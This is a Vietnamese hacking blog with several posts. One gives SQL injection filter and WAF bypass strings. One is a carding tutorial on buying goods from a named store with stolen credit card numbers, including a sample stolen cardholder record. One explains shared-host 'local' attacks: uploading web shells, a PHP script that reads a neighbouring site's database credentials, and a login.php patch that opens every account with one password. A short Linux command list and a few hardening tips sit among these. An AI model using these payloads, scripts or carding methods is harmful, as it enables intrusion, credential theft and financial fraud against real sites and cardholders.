Chủ Nhật, 27 tháng 10, 2013

Bypass Sql Injection

Union Select Bypassing::
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0)) 
/*!50000union*/+/*!50000select*/ 
UNIunionON+SELselectECT 
+union+distinct+select+ 
+union+distinctROW+select+ 
union+/*!select*/+1,2,3 
union/**/select/**/1,2,3 
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
False The Url::
=-id=-1 union all select
id=null union all select
id=1+and+false+union+all+select
id=9999 union all select
Order Bypassing do like this

/*!table_name*/
+from /*!information_schema*/./*!tables*/ where table_schema=database()
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)
used with order::
convert()using ascii)
unhex(hex())


Thứ Bảy, 5 tháng 10, 2013

[UPDATE] Một số vấn đề và hướng giải quyết

ORDER BY
- Khi order by ko hoạt động

Code:
site.com/news.php?id=9 order by 10000000000-- [No Error]
Cách giải quyết: Thêm ' vào sau tham số ID và thêm + vào cuối link

Code:
site.com/news.php?id=9' order by 10000000--+[Error]

UNION SELECT

- Khi ko thấy số column bị lỗi hiện ra

Code:
site.com/news.php?id=9 union select 1,2,3,4,5--
Cách giải quyết: Thay tham số bằng null

Code:
ite.com/news.php?id=null union select 1,2,3,4,5--
-Khi xuất hiện lỗi "The used SELECT statements have a different number of columns"
Cách giải quyết: thêm vào sau tham số id

Code:
ite.com/news.php?id=18+and+1=0+union select+1,2,3,4,5

Gặp lỗi khi extract tables
- Ko lấy đc table

Code:
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--
Cách giải quyết: Thêm unhex(hex( trước group_concat

Code:
site.com/news.php?id=9 union select 1,2,unhex(hex(group_concat(table_name))),4,5 from information_schema.tables where table_schema=database()--
RaZoR Updated:

Bypass 406 - Not Acceptable

Như nhokpro888 hỏi, vì sao ngta ghi /*! Union */ thay vì ghi bình thường.
Nếu RZ ko lầm, /* .....*/ có nghĩa là mark as comment ( đánh chú thích ), ! có nghĩa là phủ định.
Phủ định của chú thích sẽ là query bình thường

Bypass WAF/Web application firewall

Khi vào đc đến đây:

Code:
http://www.site.com/index.php?id=-1 union select 1,2,3,4,5--
Gặp lỗi sau:

Code:
"404 forbidden you do not have permission to access to this webpage"
hoặc Not acceptable j đó

Hướng giải quyết:

Code:
http://www.site.com/index.php?id=-1+%2F%2A%21UNION%2A%2F+%2F%2A%21SELECT%2A%2F1%2C2%2C3%2C4%2C5--

Hiện tại SF chỉ viết đc đến đây, sẽ hoàn thiện dần dần các vấn đề về SQLi tại đây.
Có sai sót hay thiếu j thì RaZor sẽ bổ sung ở đây nhé...

Thứ Sáu, 5 tháng 7, 2013

[bài1]Tut ship cho newbie [ UPDATE]

Mình trình độ có nhưng ráng làm tuts này để hướng dẫn cho newbie cách ship đơn giản bằng ccn non info

các pro nào đã biết thì đừng chém em, em chỉ làm tuts cho newbie hiểu

nếu thiếu sót mong bổ sung,đừng chém

ai leech ghi rõ nguồn dùm mình

mình sẽ vừa hướng dẫn vừa giải thích các thuật ngữ cho các bạn hiểu


Phần 1:


Site thực hành: http://vistaprint.com// ( bán hàng áo thun mũ tự design,bút, thiệp)

Nguyện liệu CCN non Info ( chỉ có số cc và hạn dùng )

Sock: IP VN

B=S hoặc B # S đều được

ở đây mình giải thích chút

b=s tức là Bill address = Shipping Address ( Đia chỉ thanh toán và địa chỉ gửi hàng giống nhau )
* có thể điền toàn bộ là info và địa chỉ của bạn
b#s tức là Bill address # Shipping Address ( Đia chỉ thanh toán và địa chỉ gửi hàng khác nhau )
*Billing address : điển địa chỉ của cc
*Shipping address: điền địa chỉ của bạn

Ok bắt đầu

đầu tiên các bạn vào site http://vistaprint.com/

bằng Sock: IP VN

sau này nâng cao các bạn sẽ fake sock ( tính sau )

chọn 1 món hàng và bấ́m order now như hình dưới

[img]http://upanh.ws/?di=T2JL[/img]

sau đó các bạn đăng ký thông tin như hình


[img]http://upanh.ws/?di=I28Z[/img]

Bước 3: chọn Next


[img]http://upanh.ws/?di=BF4L[/img]


Bước 4: chọn Check out


[img]http://upanh.ws/?di=W7SM[/img]

Bước 5: điền thông tin Shipping address ( địa chỉ chuyển hàng)

Tức là địa chỉ nhà bạn


[img]http://upanh.ws/?di=KVIX[/img]


Phần 2:

Điền Billing Address ( Địa chỉ thanh toán )
Địa chỉ info của cc
Nhưng tuts này B=S được nên các bạn cũng có thể điền Info của mình

Sau đó chọn next


[img]http://upanh.ws/?di=TC78[/img]

Đến bước Check Out
Các bạn chỉ việc điền Number của CC mà hạn dủng\
chọn loại card
và bấm next

ở đây loại card các bạn để ý số đầu của CC
3 : là Amex
4 : là visa
5 : master

[img]http://upanh.ws/?di=VYHQ[/img]


Bước cuối cùng các bạn chọn accep


[img]http://upanh.ws/?di=I092[/img]

và chờ nó xác nhận
nếu ra như hình dưới là các bạn đá thành công
đối với site này chỉ cần ra như hình dưới là các bạn chỉ việc chờ hàng về

[img]http://upanh.ws/?di=5SID[/img]

iệc còn lại là chờ hàng về
thời gian hàng về tới VN là 21 ngày, hơi lâu nhưng là site dễ để các bạn tập ship

chúc các bạn thành công


một số bạn kêu site nát, và mình đã thử cho 1 bạn và kết quả là shipped nên mình xin đính chính là site vẫn ăn được nhưng do các bạn ko biết cách nên hàng ko về

nay minh hướng dẫn luôn các bạn bước cuối cùng

khi order ped các bạn sẽ nhận được 1 mail có có dạng




bạn bấm vào và đang nhập sẽ nhìn thấy thông báo ngày hàng về đến nhà

VD:

Order Status: Processing
Delivery Option: 21 Days
Arrives on or before: 01/01/2012 ( đây là ngay hàng về ngay 01-01-2012 ) - ngày-tháng-năm

đến ngày 01 các bạn chưa nhận được hàng

hãy gữi 1 email đến địa chỉ:



yêu cầu họ gửi hàng

VD gửi mail với nội dung



sau đó chờ mail phản hồi về shipped

Khi có mail về bạn vào check lại trong site sẽ như bên dưới

[img]http://upanh.ws/?di=STU9[/img]

và chờ từ 8-14 ngày hàng sẽ về

hết.

các pro nào ko tin thì đừng cho chém,mình đã thử và được nên post lên

ko tin thì ko cần thanks và mời đi ra

đây là tut cho nb

Hàng về khá lâu tính ra phải 28-35 ngày hàng mới về
nguồn leech

Các bạn vẫn thường nghe những từ như " Shipper " , " Seller " , " Reseller " , " Buyer " nhưng trong khuôn khổ bài viết về ship ngày hôm nay thì mình xin giải thích rõ hơn về từ "Shipper " .

Ship là một hành động vận chuyển hàng hóa, Shipper là người khởi động việc này hoặc làm việc này bắt đầu.
Người bình thường cũng có thể gọi là Shipper khi họ vào một Shop Online (Cửa hàng trên mạng) và đặt mua một món đồ gì đó. Nhưng Shipper trong Thế giới ngầm (UG) này là một người mua hàng cho mình nhưng thanh toán bằng tiền của người khác. Đó chính là sử dụng CC tức Credit Card (Thẻ tín dụng) của người khác để mua hàng. CC cũng chính là nồi cơm của tất cả các dân UG, thiếu nó thì Thế giới UG sẽ không tồn tại.

Và để bước chân vào việc ship hàng thì các bạn phải hiểu 1 số thuật ngữ trong việc ship hàng do các shiper đặt ra . mình không đề cập đến việc đọc CC nữa nhé ... Vi khi muốn ship thì ai cũng phải biết cái này

I . Thuật Ngữ Shipper

Drop : Thuật ngữ này được nhắc tới khá nhiều trong các tut ship , hay mọi người vẫn thường nói với nhau . Drop là gì ??? Thưa các bạn drop chính là 1 người có trách nhiệm nhận hàng cho chúng ta ở các nước US , Canada , Inter ... Có thể ở đây là 1 người bạn thân nào đó , hoặc là 1 anh bạn tây nào đó .

Bin : bin là 5 con số đầu tiên của 1 CCnumber . thường thì các bin này sẽ cho ta biết Creatcard này thuộc bank gì !

Ví dụ : Tôi có 1 số CCnumber của 1 con CC như sau :

Quote:
4828572353233026
Tôi lấy 5 số đầu tiên là :

Quote:
48285
. Sau đó tôi check cái bin này thì sẽ ra bank .

Quote:
WACHOVIA BANK, N.A. DEBIT CLASSIC
Bin = Ship ( Billing Information = Shipping Information ) : ở đây có nghĩa là dùng chính địa chỉ người nhận hàng làm địa chỉ thanh toán .

Ví Dụ : Tôi có 1 con CC như sau :

Quote:
Heather | burnette | 385 e.beal st. | Highland Springs | Virginia | 23075 | 8043221052 | US | 51515800402xxxxx | 01 | 2011 | 573
ở đây địa chỉ thanh toán đúng phải là :

Quote:
| 385 e.beal st. | Highland Springs | Virginia | 23075 |
Nhưng chúng ta sẽ fake địa chỉ này bằng chính địa chỉ người nhận . trong khi đó vẫn giữ nguyên tên và ccnumber vẫn là của con CC

Phương pháp này thì tùy 1 số Shop mới làm được chứ không phải 100% shop nào cũng làm được đâu nhé

Bin # Ship ( Billing Information # Shipping Information ) : Quá đơn giản và dễ hiểu rồi ... cái này thì mình ship như bình thường thôi . Điền illing Information ( của cc ) và Shipping Information ( của drop ) .

Sock = state : Khi đi ship hàng thì việc đầu tiên của chung ta là fake sock đúng không ? Sock = state có nghĩa là bạn phải fake IP thành state của con CC

Ví Dụ : ở con CC

Quote:
Heather | burnette | 385 e.beal st. | Highland Springs | Virginia | 23075 | 8043221052 | US | 51515800402xxxxx | 01 | 2011 | 573
Thì State của nó là :

Quote:
Virginia
Thì Các bạn phải fake sock state Virginia thôi

Sock US : đơn giản quá rồi miễn là sock us thôi . chẳng có gì rằng buộc cả

II . Kinh Nghiệm Ship Hàng

- Việc ship hàng có thành công hay không thành công dựa vào rất nhiều yếu tố gây nên . nhưng tôi xin đưa ra 1 số kinh nghiệm để giảm thiểu việc ship không thành công .

thứ 1 : Bạn phải đảm bảo rằng CC của bạn live và đủ tiền với món đồ bạn định ship . nếu bạn nào có thể check blance trưóc thì càng tốt . 1 số bạn thì dựa vào địa chỉ nhà ở của con cc mà đoán trước ... cũng có phần phải thôi . Nôm na ra thì nhà ở Phố lớn , phố to phải có nhiều tiền hơn mấy đứa nhà ở ổ chuột rồi

Thứ 2 : Bank chia CC ra rất nhiều loại . như debit card , bussines ... tùy vào từng loại mà các bạn sử dụng . 1 con CC thuộc loại thẻ ghi nợ thì cũng có thể ship món đồ 1000$ , 2000$ nhưng cũng phải xem bank nó có giới hạn ở mức độ nào ( để biết thì các bạn phải test đi test lại nhiều lần và tùy với shop mà sử dụng loại gì ) . Hay các bạn sử dụng 1 con cc thuộc dạng trả trước ... trong CC có 100$ mà các bạn đòi ship tới 300$ , 500$ thì thành công sao được . Đó cũng là nguyên nhân tôi đã nói ở kinh nghiệm thứ 1 . Hay bank có chịu changer tiền ngay hay không hay là nó hold vài ngày rồi mới changer ... ( những cái này thì đều do bạn test hoặc học hỏi kinh nghiệm ở các bro đi trước mà thôi )


Thứ 3 : Sock của bạn . Tùy vào từng shop mà chúng ta phải rút ra kinh nghiệm rằng shop này có thể dùng sock us được hay không ? Hay phải sử dụng Sock = state CC ! để có thể biết được điều này thì đối với shop mới các bạn phải test , hoặc ở 1 số tut khi mọi người đã post thì các bạn nên làm theo cách của chủ tut post k0 nên biến tấu nếu k0 hiểu rõ . Và ở 1 số shop thì nó còn kiểm tra xem sock có Bị blacklist hay không

Thứ 4 : Mình muốn nhắc tới tâm lý ship hàng , 1 số shop nó tính Trung bình thời gian 1 người có thể ship thành công 1 món đồ ( time out ) . Để tránh 1 số trường hợp các bác shiper nhà ta cầm cc , sock vào đâm đầu check out ... Chúng ta hãy mang 1 tâm lý là người chủ thẻ đi mua đồ chứ đừng có hầm hầm vào hãm hiếp ... ít nhất khi vào 1 shop cũng phải vào xem món này món nọ chứ có mấy ai vừa vào chả xem cái gì tự nhiên mua luôn đâu ? ( 1 số bro vẫn làm vậy nhưng không biết là có thủ thuật gì hay là do paygate của shop nó không kĩ tính và mình nói ở khía cạnh mua online nhé không lại có bro nào vặn vẹo bảo mua ngoài đời vẫn thế )

LenoPark-DF
__________________


B1- VÀO GOOGLE.COM TÌM DORK: CLOTHINGS, HANDBAG, STORE WORLDWIDE
Công thức : Mã:
Tên món hàng + Store or shop +worldwide
*HOẶC CÓ THỂ TÌM NHỮNG THỨ LIÊN QUAN. VÍ DỤ NHƯ TÌM ZIPPO ĐỪNG TÌM ZIPPO SHOP MÀ MÌNH SẼ TÌM MẤY SITE BÁN QUÂN PHỤC, ĐỒ QUÂN ĐỘI, SHOP BÀN ĐỒ ĐI PICNIC, SHOP DAO KÉO ĐỒ LÀM BẾP, CHỨ SHOP BAO CAO SU KHÔNG CÓ ZIPPO ĐÂU NHÉ


B2- KHI ĐÃ HIỆN CÁC KẾT QUẢ TÌM KIẾM VIỆC TIẾP THEO KÉO XUỐNG CUỐI TÌM GATE THANH TOÁN THEO KINH NGHIỆM CỦA MÌNH:

- Gate Yahoo check AVS cái này khó ped mình ped dc mỗi 1 lần.
*Thích hợp chơi B#S
- Gate mcafeesecure cái này live đủ $ là qua không check AVS
*Thích hợp chơi B#S B=S



- Gate Authorize.net gate này Check AVS live + đủ BL là qua.



*Thích hợp chơi B#S
- Sega pay gate chủ yếu của mấy site UK gate này có 2 loại:
*Loại 1 không cần VBV sẽ như này



*Loại 2 cần VBV sẽ như này:



*Thích hợp chơi B#S B=S
B3: LỰA CHỌN SHIPPING.
ĐỐI VỚI SITE US THEO MÌNH NÊN CHỌN USPS TAX NHẸ. GỬI HÀNG CÀNG CHẬM CÀNG ÍT MẤT TAX
SITE UK = ROYAL MAIL.
--------------------------------
BƯỚC CUỐI CÙNG THÌ CÁC BÁC KẾT HỢP LÀM SAO. FIND DC SITE --> QUA DC GATE --> SHIPPED DC --> FREE TAX HOẶC GIẢM THIỂU TAX
CHÚC CÁC BÁC THÀNH CÔNG

Chủ Nhật, 30 tháng 6, 2013

Các lệnh cơ bản trong linux cho các bạn mới bắt đầu học linux

Thím nào pro về linux thì local ngon :D
Lệnh liên quan đến hệ thống

* exit: thoát khỏi cửa sổ dòng lệnh.
* logout: tương tự exit.
* reboot: khởi động lại hệ thống.
* halt: tắt máy.
* startx: khởi động chế độ xwindows từ cửa sổ terminal.
* mount: gắn hệ thống tập tin từ một thiết bị lưu trữ vào cây thư mục chính.
* unmount: ngược với lệnh mount.

Lệnh thao tác trên tập tin

* ls: lấy danh sách tất cả các file và thư mục trong thư mục hiện hành.
* pwd: xuất đường dẫn của thư mục làm việc.
* cd: thay đổi thư mục làm việc đến một thư mục mới.
* mkdir: tạo thư mục mới.
* rmdir: xoá thư mục rỗng.
* cp: copy một hay nhiều tập tin đến thư mục mới.
* mv: đổi tên hay di chuyển tập tin, thư mục.
* rm: xóa tập tin.
* wc: đếm số dòng, số kí tự... trong tập tin.
* touch: tạo một tập tin.
* cat: xem nội dung tập tin.
* vi: khởi động trình soạn thảo văn bản vi.
* df: kiểm tra dung lượng đĩa.
* du: xem dung lượng đĩa đã dùng cho một số tập tin nhất định

Lệnh khi làm việc trên terminal

* clear: xoá trắng cửa sổ dòng lệnh.
* date: xem ngày, giờ hệ thống.
* cal: xem lịch hệ thống.

Lệnh quản lí hệ thống

* rpm: kiểm tra gói đã cài đặt hay chưa, hoặc cài đặt một gói, hoặc sử dụng để gỡ bỏ một gói.
* ps: kiểm tra hệ thống tiến trình đang chạy.
* kill: dừng tiến trình khi tiến trình bị treo. Chỉ có người dùng super-user mới có thể dừng tất cả các tiến trình còn người dùng bình thường chỉ có thể dừng tiến trình mà mình tạo ra.
* top: hiển thị sự hoạt động của các tiến trình, đặc biệt là thông tin về tài nguyên hệ thống và việc sử dụng các tài nguyên đó của từng tiến trình.
* pstree: hiển thị tất cả các tiến trình dưới dạng cây.
* sleep: cho hệ thống ngừng hoạt động trong một khoảng thời gian.
* useradd: tạo một người dùng mới.
* groupadd: tạo một nhóm người dùng mới.
* passwd: thay đổi password cho người dùng.
* userdel: xoá người dùng đã tạo.
* groupdel: xoá nhóm người dùng đã tạo.
* gpasswd: thay đổi password của một nhóm người dùng.
* su: cho phép đăng nhập với tư cách người dùng khác.
* groups: hiển thị nhóm của user hiện tại.
* who: cho biết ai đang đăng nhập hệ thống.
* w: tương tự như lệnh who.
* man: xem hướng dẫn về dòng lệnh như cú pháp, các tham số...

Để hiểu và sử dụng tốt các câu lệnh trên, các bạn nên sử dụng lệnh man với cú pháp: man ten_cau_lenh để có được những thông tin đầy đủ về chức năng cũng như cú pháp của câu lệnh. Chúc các bạn có những giây phút thú vị khi khám phá hệ điều hành này.

Thứ Năm, 27 tháng 6, 2013

Khái Niệm về Hack local (for newbie)

Hack Local là gì ?
-------------------
Hiểu một cách nôm na là tấn công cục bộ. Cục bộ ở đây có nghĩa là trên cùng một máy chủ (server). Tấn công này được thực hiện như thế nào ?

Ví dụ ta cần tấn công site mục site1.com, nhưng sau khi phân tích tình hình thì thấy rằng việc tấn công trực tiếp site này là rất khó. Và cũng qua khảo sát ta biết được rằng trên server này có rất nhiều site khác. Ý tưởng : tấn công một site khác cùng server sau đó lấy site này làm bàn đạp tấn công site mục tiêu.

Có những loại hack local nào ? Tôi tạm thời chia làm 3 loại : Unix local, windows local, FTP local. Có lẽ rất nhiều bạn chỉ biết đến local hack trên Unix mà chưa biết đến 2 loại sau happy. Unix Local có nghĩa là máy chủ là Unix, tương tự đối với windows local, còn FTP local có nghĩa là local qua FTP.

Phần chung nhất của các loại trên là ở bước 1, bước tìm các site cùng server. Cái này có thuật ngữ chung là : Reverse IP. Ta có thể dùng tool sau để xác định các site cùng server :

http://www.domaintools.com/reverse-ip/ --> cái này mới thu phí rồi

http://www.seologs.com/ip-domains.html -> cái này có lợi thế là lưu cả tên miền Việt Nam, nhưng sô lượng ít hơn site trên

Sau khi làm xong bước trên, đến bước tìm site bị lỗi để dùng làm bàn đạp tấn công. Bước này thì ở các loại đã có sự phân hóa. Tôi sẽ trình bày riêng từng phần.

1. Unix local

Có lẽ bây giờ chỉ phổ biến site php-mysql trên Unix, nên tôi tập chung vào cái này. Cách tìm bug được tiến hành theo tư duy như sau :

- Nếu site đó sử sụng một loại mã nguồn đã được xác định, ví dụ dùng mã nguồn mở, thì đầu tiên là vào các site thông báo bug để kiểm tra xem bản code đang dùng có dính bug nào không. Có thể vào http://milw0rm.com/ hay http://www.securityfocus.com/ ... để tìm bug.

- Nếu ở bước trên không thành công hoặc code do họ tự phát triển thì cách duy nhất là phải tự ngồi mò xem. Lúc này dựa vào kinh nghiệm và khả năng của người hack là chính. Các lỗi hay được sử dụng và khá dễ để phát hiện : SQL injection, PHP file include, lỗi cài mặc định các ứng dụng như các bộ editor, lỗi không chứng thực phần upload file, upload file không filter, hoặc có filter + apache unknow extension,... rất nhiều lỗi có thể khai thác được. Tôi sẽ không đi vào chi tiết các lỗi này sử dụng và khai thác như thế nào.

Sau khi tìm ra lỗi, mục tiêu là phải upload được một con shell lên để có thể tiến hành tiếp bước sau. Việc upload được shell hay không phụ thuộc rất nhiều vào việc admin site đó CHMOD có tốt không. Các bạn có thể tham khảo bài : CHMOD là gì ? . Tôi giả sử là đã upload được shell rồi. Đến đây ta bắt đầu thử local sang site mục tiêu. Nếu Safe mode OFF và local dễ dàng thì không có gì đáng nói, site mục tiêu đã có thể xâm nhập. Nếu Safe mode ON và local gặp khó khăn, lúc này cần phải biết về các bug safe mode by pass. Các lỗi này tùy thuộc vào phiên bản của PHP và phụ thuộc vào các hàm có thể sử dụng có bị cấm hay không. Nếu không dùng PHP safe mode by pass ta có thể dùng LOAD DATA LOCAL INFINE, về cái này thì chị Yến đã có bài viết rồi.

Nếu tất cả các cách trên không được, ta xoay sang xem có khả năng get root - chiếm quyền kiểm soát server hay không, cái này tùy thuộc vào kernel của hệ điều hành và tùy thuộc vào phần mền cài trên máy chủ có dính bug overflow hay không ? ... Nói tóm lại là khi có shell rồi mỗi người có một cách tùy thuộc khả nẳng.

-->Cách fix ?

Để không bị dính các lỗi trên thì phải update phần mềm và config đúng (tôi sẽ nói chi tiết ở bài khác).

- Bật safe mode ON

- Trong php.ini Cấm các hàm nhạy cảm + các hàm có thể safe mode by pass (đòi hỏi admin phải cập nhật thông tin liên lục)

- Đối với virtual host thì tham số open_basedir là rất quan trọng, cần phải đặt tham số này đúng với thư mục web của từng site

- CHMOD kỹ cẩn thận (CHMOD như thế nào thì phải đọc)

- Các form upload cần phải lọc file...

- Trong file my.conf thêm dòng set-variable=local-infile=0 để tránh lỗi LOAD DATA LOCAL INFINE

2. Windows local

Cách tìm site lỗi về cơ bản là giống phần trên, chỉ khác ở đặc tính ngôn ngữ lập trình, cần phải xem xét kỹ hơn ở khía cạnh này.

Để có thể local được có các khả năng sau : phân quyền bị không tốt (thường là dùng chung group, group phân quyền không cẩn thận),server chưa cấm command execute. Tất cả các shell chạy trên windows đều có một đặc tính là sử dụng FSO (File System Object) - nếu cái này làm cẩn thận mà move cmd.exe đi thì không có cách gì chạy được cmd. Ở đây là còn chưa nói đến chương trình diệt virus rất nhạy cảm với FSO, nên rất dễ bị phát hiện.

-->Cách khắc phục ?

Phân quyền tốt : tốt nhất là nên dùng windows 2003 server, mỗi một site chạy một pool là tốt nhất, nhưng như thế tốn tài nguyên hơn. Account chạy web của mỗi site là riêng biệt và account chạy ASP.NET khác account chạy asp, php,... Việc set permission là cựu kỳ quan trọng, để làm tốt việc này, cần phải đọc thêm tài liệu và làm tốt các security check list của Microsoft. Lưu ý là không dùng Default pool để chạy. Thường là các server riêng rất hay gặp lỗi này vì admin những server này chỉ cần cài cho chạy được là xong nhưng ngược lại server riêng thường chỉ chạy 1 vài site. Cái nguy hiểm chính là ở chỗ này, nếu mà server riêng bị tấn công khả năng mất quyền kiểm soát và mất mát dữ liệu nhiều là rất cao.

3. FTP local

Cái này nghe có vẻ lạ nhưng cách khai thác lại cực kỳ đơn giản, tôi lấy chính site của tôi làm VD. Vì lỗi này tôi đã thông báo và chỉ cho admin cách fix. (mới fix thôi nhé, không biết đã hết chưa, không khéo chỉ fix mỗi acc của tôi, hôm sau lỗ source là toi happy)

Trên hình bạn đã nhìn thấy rồi đó, cái FTP trên là tôi login vào acc FTP của tôi, nhưng tôi có thể vào tất cả các FTP khác cùng server.

Vậy lỗi ở đâu ? Lỗi có thể do 2 khả năng :

- Tham số Fix Home dir (ko nhớ rõ) không được set

- Tất cả các user FTP chung group và group này có quyền đối với tất cả các thư mục của các acc thành phần.
----------------------------
Mot cach don gian nhat.
1, Tim mot muc tieu
2, Len whois check xem lang gieng of no
3, Check bug of no va cua lang gieng of no(se ton nhiu thoi gian va nho fai du kien tri)
4, Kiem tra va loi dung bug do up shell( thuong la con r57-shell php)
5, Finish no.
Mot cach khac de thu co ve nhanh hon.
1, Dang ky mot cai host php free
2, Up shell len(r57 or c99 or c100)
3, Chay shell -> lam dc j thi lam
4, Finish
------------------------
Bước 1. Xác định URL website cần hack.
Do đây là free hosting nên website luôn có dạng http://root/yoursite
Và giả sử forum phpBB nằm tại URL sau http://root/victim/phpBB_path/
Chú ý là phải tìm đúng URL Root chứ không phải redirect hay forward ..
Bước 2. Đăng kí một hosting cùng trên server đó.
Vì đây là free hosting nên nếu victim đăng kí được thì bạn cũng có thể đăng kí dễ dàng
Giả sử bạn đăng kí một hosting như sau http://root/mysite/
Bước 3 Xác định DB info của Victim
Điều này rất dơn giản khi bạn với victim đang cùng trên một Local
Thật vậy có thể là /home/user_root/public_html/mysite/ hay /home/user_root/httpdocs/mysite/ tuỳ thuộc Control Panel của Server là lọai gì (Cpanel, Plesk, Enxim..). Nhưng điều này không cần chú ý.
3.1 Bạn tạo một file để lấy DB info của victim như sau
## getdb.php begin
<?php
$fd = fopen ("../victim/phpBB_path/config.php", "r");
while (!feof ($fd)) {
$line = fgets($fd,4000);
print $line;
}
fclose ($fd);
?>
## getdb.php end
Bạn có thể thay $fd bằng đường dẫn tới bất kì file php mà bạn muốn xem mã nguồn của nó. Vì đối với các loại Portal hoặc forum khác có thể DB Info không chứa trong file config.php như của phpBB
3.2 Upload file getdb.php
Bạn chỉ việc upload lên hosting mà bạn vừa đăng kí http://root/mysite/getdb.php
3.3 Lấy DB info của victim
Chạy file getdb.php vừa rồi trên Browser của bạn. Bạn sẽ thấy một màn hình trắng (blank). Đừng lo, bạn hãy "View source" và bạn sẽ thấy được các thông tin như sau
## getdb.php's source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## getdb.php's source end
Xong bước thứ 3
Bước 4. Kiểm tra mật khẩu mà bạn vừa lấy được.
Với nick Admin trong forum và tất cả những gì có thể liên quan như passwd e-mail, hosting, domain .. Vì có thể nạn nhân dùng 1 passwd cho tất cả những mật khẩu của mình cho đỡ quên. Đây là một trong những thói quen chết người
Nếu mà thành công thì dừng tại đây nếu không hãy sang bước thứ 5
Bước 5. Tạo một mirror phpBB forum.
5.1 Nghĩa là sao, bạn hãy upload một phpBB forum cùng phiên bản với victim vào hosting của bạn http://root/mysite/
Và đừng Install forum này nếu bạn muốn hack nó.
5.2 Config forum vừa upload
Bạn hãy config cho forum của bạn thực sự là một mirror của victim's forum.
Điều đó có nghĩa là bạn phải link DB đến DB của victim, điều đó thật dễ dàng khi bạn đã có được DB info của victim trong tay.
5.2.1 Tạo file config.php
Đó là toàn bộ những gì bạn vừa "view source" được
## config.php source begin
<?php
//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//
$dbms = "mysql4";
$dbhost = "localhost";
$dbname = "DB name here";
$dbuser = "DB user here";
$dbpasswd = "DB passwd here";
$table_prefix = "phpbb_";
define('PHPBB_INSTALLED', true);
?>
## config.php source end
5.2.2 Upload config.php
Bạn upload đè lên file config.php trong cái forum mới toanh mà bạn vừa upload.
http://root/mysite/config.php
5.2.3 Thử lại
Bạn thử gõ http://root/mysite/ xem, nếu mà forum của bạn có các thông số y hệt như của http://root/victim/phpBB_path tức là bạn đã thành công bước này
Bước 6. Sửa mã nguồn Mirror Site
Mục đích bước này là bạn sẽ sửa mã nguồn forum của bạn đề bạn có thể Login vào được Admin panel của nó. Nếu bạn học PHP thì việc này khá dễ dàng.
Tôi xin nêu ra 1 phương pháp, đó là cách crack cổ điển.
6.1 Crack cổ điển
6.1.1
Đó là khi bạn muốn crack passwd 1 file exe, bạn có thể deassebler nó ra thành file.asm bằng nhiều chương trình hiện nay
6.1.2
Tìm các lệnh nhảy có điều kiện (JP gì gì đó. Cái này có hàng đống mà). của đoạn code dòi mật khẩu
6.1.3
Sửa thành lệnh nhảy không điều kiên
6.1.4
Compile lại thành file exe và OK. Ta nhập bất cứ mật khẩu nào vào nó cũng chấp nhận
6.2 Sửa mã nguồn
Sửa ở file login.php và sẽ cho phép bạn Login dưới mọi nickname bằng 1 passwd chọn sẵn
6.2.1 Chọn mật khẩu chung cho toàn bộ các nick.
Thực sự các mật khẩu trong phpBB đã được mà hoá theo kiểu MD5, do đó có thể rất khó khăn để có thể giải mã nó. Nếu các bạn hiểu rõ về kiêu encode này thì các bạn có thể tự tìm cho mình mật khẩu thích hợp, nếu không các bạn có thể sử dụng mật khẩu đã được tôi giải mã là: "hainam@hainam.org"
Cái địa chỉ mail của tôi ấy mà, khi mật khẩu này được mã hoá theo MD5 nó sẽ là một mật khẩu như sau "692e2c95b693cf6fbec8ea5c40536b9e"
hainam@hainam.org => 692e2c95b693cf6fbec8ea5c40536b9e
6.2.2 Thiết lập mật khẩu chung cho toàn bộ các nick
Trước hết bạn mở file login.php ra tìm đoạn sau
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
## file login.php ..
Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e";
Tức là sửa đoanj mã đó thành
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
$hack = "692e2c95b693cf6fbec8ea5c40536b9e";
## file login.php ..
Tiếp đó tìm đoạn mã sau
## file login.php ..
else
{
if( md5($password) == $row['user_password'] && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Sửa đoạn mã đó thành
## file login.php ..
else
{
if( md5($password) == $hack && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Ghi lại file login.php
Bước 7.Login User với mật khẩu đã chọn
Bây giờ bạn có thể login vào diễn đàn qua website của bạn http://root/mysite/login.php với bất cứ nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick Admin, và vào được Admin Panel ..
Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là hainam@hainam.org chứ không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng
Tổng quát
I/Phương Pháp
-Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng.
